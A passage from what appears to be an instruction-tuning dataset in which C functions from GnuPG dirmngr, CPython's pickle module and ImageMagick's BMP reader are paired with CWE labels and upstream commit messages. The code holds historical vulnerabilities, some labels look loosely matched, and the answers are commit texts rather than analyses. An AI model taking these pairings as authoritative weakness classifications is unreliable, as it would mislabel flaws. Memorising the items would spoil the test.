rc = http_open_document (&hd, *argv, NULL, my_http_flags,\n NULL, session, NULL, NULL);\n if (rc)\n {\n log_error (\"can't get '%s': %s\\n\", *argv, gpg_strerror (rc));\n return 1;\n }\n log_info (\"open_http_document succeeded; status=%u\\n\",\n http_get_status_code (hd));\n\n {\n const char **names;\n int i;\n\n names = http_get_header_names (hd);\n if (!names)\n log_fatal (\"http_get_header_names failed: %s\\n\",\n gpg_strerror (gpg_error_from_syserror ()));\n for (i = 0; names[i]; i++)\n printf (\"HDR: %s: %s\\n\", names[i], http_get_header (hd, names[i]));\n xfree (names);\n }\n fflush (stdout);\n\n switch (http_get_status_code (hd))\n {\n case 200:\n case 400:\n case 401:\n case 403:\n case 404:\n {\n unsigned long count = 0;\n while ((c = es_getc (http_get_read_ptr (hd))) != EOF)\n {\n count++;\n if (!no_out)\n putchar (c);\n }\n log_info (\"Received bytes: %lu\\n\", count);\n }\n break;\n case 301:\n case 302:\n case 307:\n log_info (\"Redirected to: %s\\n\", http_get_header (hd, \"Location\"));\n break;\n }\n http_close (hd, 0);\n\n http_session_release (session);\n#ifdef HTTP_USE_GNUTLS\n gnutls_global_deinit ();\n#endif /*HTTP_USE_GNUTLS*/\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-352'], 'message': 'dirmngr: Avoid possible CSRF attacks via http redirects.\n\n* dirmngr/http.h (parsed_uri_s): Add fields off_host and off_path.\n(http_redir_info_t): New.\n* dirmngr/http.c (do_parse_uri): Set new fields.\n(same_host_p): New.\n(http_prepare_redirect): New.\n* dirmngr/t-http-basic.c: New test.\n* dirmngr/ks-engine-hkp.c (send_request): Use http_prepare_redirect\ninstead of the open code.\n* dirmngr/ks-engine-http.c (ks_http_fetch): Ditto.\n--\n\nWith this change a http query will not follow a redirect unless the\nLocation header gives the same host. If the host is different only\nthe host and port is taken from the Location header and the original\npath and query parts are kept.\n\nSigned-off-by: Werner Koch \n(cherry picked from commit fa1b1eaa4241ff3f0634c8bdf8591cbc7c464144)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _Unpickler_MemoPut(UnpicklerObject *self, Py_ssize_t idx, PyObject *value)\n{\n PyObject *old_item;\n\n if (idx >= self->memo_size) {\n if (_Unpickler_ResizeMemoList(self, idx * 2) < 0)\n return -1;\n assert(idx < self->memo_size);\n }\n Py_INCREF(value);\n old_item = self->memo[idx];\n self->memo[idx] = value;\n if (old_item != NULL) {\n Py_DECREF(old_item);\n }\n else {\n self->memo_len++;\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-369'], 'message': 'closes bpo-34656: Avoid relying on signed overflow in _pickle memos. (GH-9261)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadBMPImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n BMPInfo\n bmp_info;\n\n Image\n *image;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n offset,\n start_position;\n\n MemoryInfo\n *pixel_info;\n\n Quantum\n index;\n\n register Quantum\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n size_t\n bit,\n bytes_per_line,\n length;\n\n ssize_t\n count,\n y;\n\n unsigned char\n magick[12],\n *pixels;\n\n unsigned int\n blue,\n green,\n offset_bits,\n red;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Determine if this a BMP file.\n */\n (void) memset(&bmp_info,0,sizeof(bmp_info));\n bmp_info.ba_offset=0;\n start_position=0;\n offset_bits=0;\n count=ReadBlob(image,2,magick);\n if (count != 2)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n PixelInfo\n quantum_bits;\n\n PixelPacket\n shift;\n\n /*\n Verify BMP identifier.\n */\n start_position=TellBlob(image)-2;\n bmp_info.ba_offset=0;\n while (LocaleNCompare((char *) magick,\"BA\",2) == 0)\n {\n bmp_info.file_size=ReadBlobLSBLong(image);\n bmp_info.ba_offset=ReadBlobLSBLong(image);\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n count=ReadBlob(image,2,magick);\n if (count != 2)\n break;\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" Magick: %c%c\",\n magick[0],magick[1]);\n if ((count != 2) || ((LocaleNCompare((char *) magick,\"BM\",2) != 0) &&\n (LocaleNCompare((char *) magick,\"CI\",2) != 0)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n bmp_info.file_size=ReadBlobLSBLong(image);\n (void) ReadBlobLSBLong(image);\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n bmp_info.size=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" BMP size: %u\",\n bmp_info.size);\n if (bmp_info.size == 12)\n {\n /*\n OS/2 BMP image file.\n */\n (void) CopyMagickString(image->magick,\"BMP2\",MagickPathExtent);\n bmp_info.width=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.height=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.x_pixels=0;\n bmp_info.y_pixels=0;\n bmp_info.number_colors=0;\n bmp_info.compression=BI_RGB;\n bmp_info.image_size=0;\n bmp_info.alpha_mask=0;\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: OS/2 Bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n }\n }\n else\n {\n /*\n Microsoft Windows BMP image file.\n */\n if (bmp_info.size < 40)\n ThrowReaderException(CorruptImageError,\"NonOS2HeaderSizeError\");\n bmp_info.width=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.height=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.compression=ReadBlobLSBLong(image);\n bmp_info.image_size=ReadBlobLSBLong(image);\n bmp_info.x_pixels=ReadBlobLSBLong(image);\n bmp_info.y_pixels=ReadBlobLSBLong(image);\n bmp_info.number_colors=ReadBlobLSBLong(image);\n if (bmp_info.number_colors > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n bmp_info.colors_important=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: MS Windows bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Bits per pixel: %.20g\",(double) bmp_info.bits_per_pixel);\n switch (bmp_info.compression)\n {\n case BI_RGB:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RGB\");\n break;\n }\n case BI_RLE4:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE4\");\n break;\n }\n case BI_RLE8:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE8\");\n break;\n }\n case BI_BITFIELDS:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_BITFIELDS\");\n break;\n }\n case BI_PNG:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_PNG\");\n break;\n }\n case BI_JPEG:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_JPEG\");\n break;\n }\n default:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: UNKNOWN (%u)\",bmp_info.compression);\n }\n }\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number of colors: %u\",bmp_info.number_colors);\n }\n bmp_info.red_mask=ReadBlobLSBLong(image);\n bmp_info.green_mask=ReadBlobLSBLong(image);\n bmp_info.blue_mask=ReadBlobLSBLong(image);\n if (bmp_info.size > 40)\n {\n double\n gamma;\n\n /*\n Read color management information.\n */\n bmp_info.alpha_mask=ReadBlobLSBLong(image);\n bmp_info.colorspace=ReadBlobLSBSignedLong(image);\n /*\n Decode 2^30 fixed point formatted CIE primaries.\n */\n# define BMP_DENOM ((double) 0x40000000)\n bmp_info.red_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n\n gamma=bmp_info.red_primary.x+bmp_info.red_primary.y+\n bmp_info.red_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.red_primary.x*=gamma;\n bmp_info.red_primary.y*=gamma;\n image->chromaticity.red_primary.x=bmp_info.red_primary.x;\n image->chromaticity.red_primary.y=bmp_info.red_primary.y;\n\n gamma=bmp_info.green_primary.x+bmp_info.green_primary.y+\n bmp_info.green_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.green_primary.x*=gamma;\n bmp_info.green_primary.y*=gamma;\n image->chromaticity.green_primary.x=bmp_info.green_primary.x;\n image->chromaticity.green_primary.y=bmp_info.green_primary.y;\n\n gamma=bmp_info.blue_primary.x+bmp_info.blue_primary.y+\n bmp_info.blue_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.blue_primary.x*=gamma;\n bmp_info.blue_primary.y*=gamma;\n image->chromaticity.blue_primary.x=bmp_info.blue_primary.x;\n image->chromaticity.blue_primary.y=bmp_info.blue_primary.y;\n\n /*\n Decode 16^16 fixed point formatted gamma_scales.\n */\n bmp_info.gamma_scale.x=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.y=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.z=(double) ReadBlobLSBLong(image)/0x10000;\n /*\n Compute a single gamma from the BMP 3-channel gamma.\n */\n image->gamma=(bmp_info.gamma_scale.x+bmp_info.gamma_scale.y+\n bmp_info.gamma_scale.z)/3.0;\n }\n else\n (void) CopyMagickString(image->magick,\"BMP3\",MagickPathExtent);\n\n if (bmp_info.size > 108)\n {\n size_t\n intent;\n\n /*\n Read BMP Version 5 color management information.\n */\n intent=ReadBlobLSBLong(image);\n switch ((int) intent)\n {\n case LCS_GM_BUSINESS:\n {\n image->rendering_intent=SaturationIntent;\n break;\n }\n case LCS_GM_GRAPHICS:\n {\n image->rendering_intent=RelativeIntent;\n break;\n }\n case LCS_GM_IMAGES:\n {\n image->rendering_intent=PerceptualIntent;\n break;\n }\n case LCS_GM_ABS_COLORIMETRIC:\n {\n image->rendering_intent=AbsoluteIntent;\n break;\n }\n }\n (void) ReadBlobLSBLong(image); /* Profile data */\n (void) ReadBlobLSBLong(image); /* Profile size */\n (void) ReadBlobLSBLong(image); /* Reserved byte */\n }\n }\n if ((MagickSizeType) bmp_info.file_size > GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),CorruptImageError,\n \"LengthAndFilesizeDoNotMatch\",\"`%s'\",image->filename);\n else\n if ((MagickSizeType) bmp_info.file_size < GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageWarning,\"LengthAndFilesizeDoNotMatch\",\"`%s'\",\n image->filename);\n if (bmp_info.width <= 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.height == 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.planes != 1)\n ThrowReaderException(CorruptImageError,\"StaticPlanesValueNotEqualToOne\");\n if ((bmp_info.bits_per_pixel != 1) && (bmp_info.bits_per_pixel != 4) &&\n (bmp_info.bits_per_pixel != 8) && (bmp_info.bits_per_pixel != 16) &&\n (bmp_info.bits_per_pixel != 24) && (bmp_info.bits_per_pixel != 32))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if (bmp_info.bits_per_pixel < 16 &&\n bmp_info.number_colors > (1U << bmp_info.bits_per_pixel))\n ThrowReaderException(CorruptImageError,\"UnrecognizedNumberOfColors\");\n if ((bmp_info.compression == 1) && (bmp_info.bits_per_pixel != 8))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 2) && (bmp_info.bits_per_pixel != 4))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 3) && (bmp_info.bits_per_pixel < 16))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n switch (bmp_info.compression)\n {\n case BI_RGB:\n image->compression=NoCompression;\n break;\n case BI_RLE8:\n case BI_RLE4:\n image->compression=RLECompression;\n break;\n case BI_BITFIELDS:\n break;\n case BI_JPEG:\n ThrowReaderException(CoderError,\"JPEGCompressNotSupported\");\n case BI_PNG:\n ThrowReaderException(CoderError,\"PNGCompressNotSupported\");\n default:\n ThrowReaderException(CorruptImageError,\"UnrecognizedImageCompression\");\n }\n image->columns=(size_t) MagickAbsoluteValue(bmp_info.width);\n image->rows=(size_t) MagickAbsoluteValue(bmp_info.height);\n image->depth=bmp_info.bits_per_pixel <= 8 ? bmp_info.bits_per_pixel : 8;\n image->alpha_trait=((bmp_info.alpha_mask != 0) &&\n (bmp_info.compression == BI_BITFIELDS)) ? BlendPixelTrait :\n UndefinedPixelTrait;\n if (bmp_info.bits_per_pixel < 16)\n {\n size_t\n one;\n\n image->storage_class=PseudoClass;\n image->colors=bmp_info.number_colors;\n one=1;\n if (image->colors == 0)\n image->colors=one << bmp_info.bits_per_pixel;\n }\n image->resolution.x=(double) bmp_info.x_pixels/100.0;\n image->resolution.y=(double) bmp_info.y_pixels/100.0;\n image->units=PixelsPerCentimeterResolution;\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n if (image->storage_class == PseudoClass)\n {\n unsigned char\n *bmp_colormap;\n\n size_t\n packet_size;\n\n /*\n Read BMP raster colormap.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading colormap of %.20g colors\",(double) image->colors);\n if (AcquireImageColormap(image,image->colors,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n bmp_colormap=(unsigned char *) AcquireQuantumMemory((size_t)\n image->colors,4*sizeof(*bmp_colormap));\n if (bmp_colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if ((bmp_info.size == 12) || (bmp_info.size == 64))\n packet_size=3;\n else\n packet_size=4;\n offset=SeekBlob(image,start_position+14+bmp_info.size,SEEK_SET);\n if (offset < 0)\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,packet_size*image->colors,bmp_colormap);\n if (count != (ssize_t) (packet_size*image->colors))\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n p=bmp_colormap;\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].blue=(MagickRealType) ScaleCharToQuantum(*p++);\n image->colormap[i].green=(MagickRealType) ScaleCharToQuantum(*p++);\n image->colormap[i].red=(MagickRealType) ScaleCharToQuantum(*p++);\n if (packet_size == 4)\n p++;\n }\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n }\n /*\n Read image data.\n */\n if (bmp_info.offset_bits == offset_bits)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n offset_bits=bmp_info.offset_bits;\n offset=SeekBlob(image,start_position+bmp_info.offset_bits,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (bmp_info.compression == BI_RLE4)\n bmp_info.bits_per_pixel<<=1;\n bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);\n length=(size_t) bytes_per_line*image->rows;\n if ((bmp_info.compression == BI_RGB) ||\n (bmp_info.compression == BI_BITFIELDS))\n {\n if ((MagickSizeType) length > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n pixel_info=AcquireVirtualMemory(image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading pixels (%.20g bytes)\",(double) length);\n count=ReadBlob(image,length,pixels);\n if (count != (ssize_t) length)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n }\n else\n {\n /*\n Convert run-length encoded raster pixels.\n */\n pixel_info=AcquireVirtualMemory(image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n status=DecodeImage(image,bmp_info.compression,pixels,\n image->columns*image->rows);\n if (status == MagickFalse)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToRunlengthDecodeImage\");\n }\n }\n /*\n Convert BMP raster image to pixel packets.\n */\n if (bmp_info.compression == BI_RGB)\n {\n /*\n We should ignore the alpha value in BMP3 files but there have been\n reports about 32 bit files with alpha. We do a quick check to see if\n the alpha channel contains a value that is not zero (default value).\n If we find a non zero value we asume the program that wrote the file\n wants to use the alpha channel.\n */\n if ((image->alpha_trait == UndefinedPixelTrait) && (bmp_info.size == 40) &&\n (bmp_info.bits_per_pixel == 32))\n {\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (*(p+3) != 0)\n {\n image->alpha_trait=BlendPixelTrait;\n y=-1;\n break;\n }\n p+=4;\n }\n }\n }\n bmp_info.alpha_mask=image->alpha_trait != UndefinedPixelTrait ?\n 0xff000000U : 0U;\n bmp_info.red_mask=0x00ff0000U;\n bmp_info.green_mask=0x0000ff00U;\n bmp_info.blue_mask=0x000000ffU;\n if (bmp_info.bits_per_pixel == 16)\n {\n /*\n RGB555.\n */\n bmp_info.red_mask=0x00007c00U;\n bmp_info.green_mask=0x000003e0U;\n bmp_info.blue_mask=0x0000001fU;\n }\n }\n (void) memset(&shift,0,sizeof(shift));\n (void) memset(&quantum_bits,0,sizeof(quantum_bits));\n if ((bmp_info.bits_per_pixel == 16) || (bmp_info.bits_per_pixel == 32))\n {\n register unsigned int\n sample;\n\n /*\n Get shift and quantum bits info from bitfield masks.\n */\n if (bmp_info.red_mask != 0)\n while (((bmp_info.red_mask << shift.red) & 0x80000000UL) == 0)\n {\n shift.red++;\n if (shift.red >= 32U)\n break;\n }\n if (bmp_info.green_mask != 0)\n while (((bmp_info.green_mask << shift.green) & 0x80000000UL) == 0)\n {\n shift.green++;\n if (shift.green >= 32U)\n break;\n }\n if (bmp_info.blue_mask != 0)\n while (((bmp_info.blue_mask << shift.blue) & 0x80000000UL) == 0)\n {\n shift.blue++;\n if (shift.blue >= 32U)\n break;\n }\n if (bmp_info.alpha_mask != 0)\n while (((bmp_info.alpha_mask << shift.alpha) & 0x80000000UL) == 0)\n {\n shift.alpha++;\n if (shift.alpha >= 32U)\n break;\n }\n sample=shift.red;\n while (((bmp_info.red_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.red=(MagickRealType) (sample-shift.red);\n sample=shift.green;\n while (((bmp_info.green_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.green=(MagickRealType) (sample-shift.green);\n sample=shift.blue;\n while (((bmp_info.blue_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.blue=(MagickRealType) (sample-shift.blue);\n sample=shift.alpha;\n while (((bmp_info.alpha_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample >= 32U)\n break;\n }\n quantum_bits.alpha=(MagickRealType) (sample-shift.alpha);\n }\n switch (bmp_info.bits_per_pixel)\n {\n case 1:\n {\n /*\n Convert bitmap scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < ((ssize_t) image->columns-7); x+=8)\n {\n for (bit=0; bit < 8; bit++)\n {\n index=(Quantum) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n p++;\n }\n if ((image->columns % 8) != 0)\n {\n for (bit=0; bit < (image->columns % 8); bit++)\n {\n index=(Quantum) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n p++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 4:\n {\n /*\n Convert PseudoColor scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < ((ssize_t) image->columns-1); x+=2)\n {\n ValidateColormapValue(image,(ssize_t) ((*p >> 4) & 0x0f),&index,\n exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n ValidateColormapValue(image,(ssize_t) (*p & 0x0f),&index,exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n p++;\n }\n if ((image->columns % 2) != 0)\n {\n ValidateColormapValue(image,(ssize_t) ((*p >> 4) & 0xf),&index,\n exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n p++;\n x++;\n }\n if (x < (ssize_t) image->columns)\n break;\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 8:\n {\n /*\n Convert PseudoColor scanline.\n */\n if ((bmp_info.compression == BI_RLE8) ||\n (bmp_info.compression == BI_RLE4))\n bytes_per_line=image->columns;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=(ssize_t) image->columns; x != 0; --x)\n {\n ValidateColormapValue(image,(ssize_t) *p++,&index,exception);\n SetPixelIndex(image,index,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n break;\n }\n case 16:\n {\n unsigned int\n alpha,\n pixel;\n\n /*\n Convert bitfield encoded 16-bit PseudoColor scanline.\n */\n if ((bmp_info.compression != BI_RGB) &&\n (bmp_info.compression != BI_BITFIELDS))\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=2*(image->columns+image->columns % 2);\n image->storage_class=DirectClass;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=(*p++) << 8;\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 5)\n red|=((red & 0xe000) >> 5);\n if (quantum_bits.red <= 8)\n red|=((red & 0xff00) >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 5)\n green|=((green & 0xe000) >> 5);\n if (quantum_bits.green == 6)\n green|=((green & 0xc000) >> 6);\n if (quantum_bits.green <= 8)\n green|=((green & 0xff00) >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 5)\n blue|=((blue & 0xe000) >> 5);\n if (quantum_bits.blue <= 8)\n blue|=((blue & 0xff00) >> 8);\n SetPixelRed(image,ScaleShortToQuantum((unsigned short) red),q);\n SetPixelGreen(image,ScaleShortToQuantum((unsigned short) green),q);\n SetPixelBlue(image,ScaleShortToQuantum((unsigned short) blue),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.alpha) >> 16;\n if (quantum_bits.alpha <= 8)\n alpha|=((alpha & 0xff00) >> 8);\n SetPixelAlpha(image,ScaleShortToQuantum(\n (unsigned short) alpha),q);\n }\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 24:\n {\n /*\n Convert DirectColor scanline.\n */\n bytes_per_line=4*((image->columns*24+31)/32);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelBlue(image,ScaleCharToQuantum(*p++),q);\n SetPixelGreen(image,ScaleCharToQuantum(*p++),q);\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n SetPixelAlpha(image,OpaqueAlpha,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 32:\n {\n /*\n Convert bitfield encoded DirectColor scanline.\n */\n if ((bmp_info.compression != BI_RGB) &&\n (bmp_info.compression != BI_BITFIELDS))\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n unsigned int\n alpha,\n pixel;\n\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=((unsigned 